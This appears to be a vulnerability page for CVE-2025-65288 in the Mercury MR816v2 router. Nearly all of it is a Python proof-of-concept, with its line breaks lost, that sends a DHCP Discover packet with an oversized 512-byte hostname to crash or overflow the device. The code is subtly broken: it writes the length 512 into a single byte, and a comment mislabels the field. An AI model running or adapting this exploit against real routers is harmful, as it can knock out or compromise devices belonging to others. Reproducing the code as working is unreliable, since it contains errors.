CVE-2025-65288 Mercury MR816v2 缓冲区溢出漏洞

#!/usr/bin/env python3 # CVE-2025-65288 PoC - Mercury MR816v2 Buffer Overflow via Long Hostname # This PoC demonstrates sending a crafted DHCP request with an oversized hostname import socket import struct import sys def create_dhcp_discover_with_long_hostname(hostname_length=512): """Create a DHCP Discover packet with an oversized hostname field""" # Construct oversized hostname (triggering buffer overflow) long_hostname = b'A' * hostname_length # 512 bytes of 'A' # DHCP Message Type: Discover (1) dhcp_message = bytearray() dhcp_message.append(1) # op: BOOTREQUEST dhcp_message.append(1) # htype: Ethernet dhcp_message.append(6) # hlen: Ethernet MAC address length dhcp_message.append(0) # hops: 0 dhcp_message.extend(b'\x00' * 4) # xid: transaction ID dhcp_message.extend(b'\x00' * 2) # secs dhcp_message.extend(b'\x00' * 2) # flags dhcp_message.extend(b'\x00' * 4) # ciaddr dhcp_message.extend(b'\x00' * 4) # yiaddr dhcp_message.extend(b'\x00' * 4) # siaddr dhcp_message.extend(b'\x00' * 4) # giaddr dhcp_message.extend(b'\x00' * 16) # chaddr (MAC) dhcp_message.extend(b'\x00' * 64) # sname (empty) dhcp_message.extend(b'\x00' * 128) # file (empty) # Magic cookie dhcp_message.extend(b'\x63\x82\x53\x63') # Option 12: Host Name (with oversized value) dhcp_message.append(12) # Option 53: DHCP Message Type dhcp_message.append(len(long_hostname)) dhcp_message.extend(long_hostname) # End option dhcp_message.append(255) return bytes(dhcp_message) def send_exploit(target_ip='192.168.1.1', hostname_length=512): """Send the exploit packet to target device""" sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1) packet = create_dhcp_discover_with_long_hostname(hostname_length) print(f"[*] Sending DHCP Discover with {hostname_length} byte hostname...") print(f"[*] Target: {target_ip}:67") try: sock.sendto(packet, (target_ip, 67)) print("[+] Packet sent successfully") print("[*] The device should now process the oversized hostname") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() if __name__ == '__main__': print("CVE-2025-65288 PoC - Mercury MR816v2 Buffer Overflow") print("=" * 60) target = sys.argv[1] if len(sys.argv) > 1 else '192.168.1.1' length = int(sys.argv[2]) if len(sys.argv) > 2 else 512 send_exploit(target, length)